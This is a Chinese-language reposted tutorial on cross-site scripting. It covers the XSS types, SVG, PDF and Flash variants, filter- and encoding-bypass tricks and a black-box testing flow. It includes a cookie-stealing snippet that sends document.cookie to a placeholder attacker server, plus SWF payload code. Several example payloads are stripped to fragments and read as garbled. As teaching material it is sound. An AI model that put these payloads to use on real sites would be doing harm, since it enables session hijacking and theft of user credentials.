文章总结: 本文详解XSS攻击原理,即输入未过滤导致代码回显。涵盖反射、存储、DOM型及SVG/PDF等场景。提供测试Payload、绕过技巧及Cookie盗取方法。最后总结黑盒测试流程:找输入点、分析规则与针对性绕过,为Web安全测试提供实战指导。 综合评分: 81 文章分类: 漏洞分析,WEB安全,渗透测试
XSS
zoe zoe
哦0吼
2026年1月28日 16:48 河北
XSS原理
XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。
核心:存在回显位(输入内容会输出到页面)+ 输入未被有效过滤 / 编码 + 浏览器解析执行注入的代码
特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
alert弹出一个包含指定信息的对话框
onclick元素被鼠标点击时触发的事件。
XSS分类
反射性漏洞
特点:一次性攻击,恶意代码通过 URL 参数传递(GET/POST),页面即时回显触发,不存入服务器
常见场景:搜索框、查询结果页、URL 参数展示页
存储型漏洞
特点:持久性漏洞 相关源代码存放于服务器用户浏览该页面时触发代码执行。存入服务器
场景:评论区、留言板、用户头像 / 签名、富文本编辑器
DOM型漏洞
特点:属于反射型变种,恶意代码执行发生在客户端 DOM 解析阶段,服务端未参与(页面源码无恶意代码,DOM 树被篡改)
利用非法输入来闭合对应的html标签。数据流向是URL → 浏览器 DOM 解析 → 执行恶意代码
核心:利用 JS 操作 DOM 的漏洞(如document.write、innerHTML、location.href等)
SVG XSS
SVG 是 XML 格式矢量图,支持嵌入 JS 代码,浏览器解析 SVG 时执行(VG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它)
PDF XSS
PDF 支持嵌入 JS 动作,上传含恶意 JS 的 PDF 并诱导访问直链触发
用迅捷 PDF 编辑器创建 PDF,添加 JS 动作(如app.alert(“XSS”)),上传后访问 PDF 直链
Flash XSS
Flash 通过ExternalInterface.call/getURL等函数调用 JS,参数可控时触发
制作swf-xss文件:
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析//取m参数制作 SWF 文件代码:var m=root.m; flash.external.ExternalInterface.call(m);,触发链接:?m=alert(1)
测试语句
点击触发
过滤技巧:
htmlspecialchars () 过滤:闭合属性引号,触发事件 eg: ” onclick=”alert(1)>
禁用 < >、单引号闭合:单引号闭合属性,触发事件 eg: ‘ onclick=’window.alert(1)
禁用 on 事件 /script 标签:利用 javascript 伪协议 eg: “>
大小写过滤(str_replace):函数区分大小写 eg: “>test
关键字过滤(script/on):双写关键字,过滤后还原 eg:”>
协议过滤:HTML 实体编码绕过 eg: javascript:alert(1)
盗取cookie:
// 方式1:直接弹窗显示Cookie
// 方式2:将Cookie发送到攻击者服务器(核心利用)
var img = new Image();
// 拼接Cookie并编码,发送到攻击者服务器
img.src = "http://攻击者IP/collect.php?cookie=" + encodeURIComponent(document.cookie);
document.body.appendChild(img); // 触发请求
// 方式3:简化版
xss
编码绕过:
1.JavaScript 编码:
三个八进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\145”
两个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\x65”
四个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\u0065”
2.HTML 实体编码
命名实体:以“&”开头,以分号结尾,例如“<”的编码是“<”。
字符编码:十进制、十六进制ASCI码或Unicode字符编码,样式为“&#数值;”例如“<”可以被编码为“<”和“<”。
3.URL 编码
用于 URL 参数中的特殊字符,如空格 =%20、<=%3c、>=%3e
黑盒测试
找可控输入点:URL 参数、搜索框、评论框、表单、HTTP 头(Referer/User-Agent)等;
基础测试:输入,观察是否弹窗(判断是否存在 XSS);
分析过滤规则:若未弹窗,查看页面源码中输入内容的显示形式(是否被编码 / 过滤);
针对性绕过:根据过滤规则选择绕过方式(大小写、双写、编码、标签替换等);
验证利用:成功执行后,测试 Cookie 盗取、钓鱼等实战利用。
https://www.freebuf.com/articles/web/340080.html
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哦0吼 zoe zoe《XSS》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论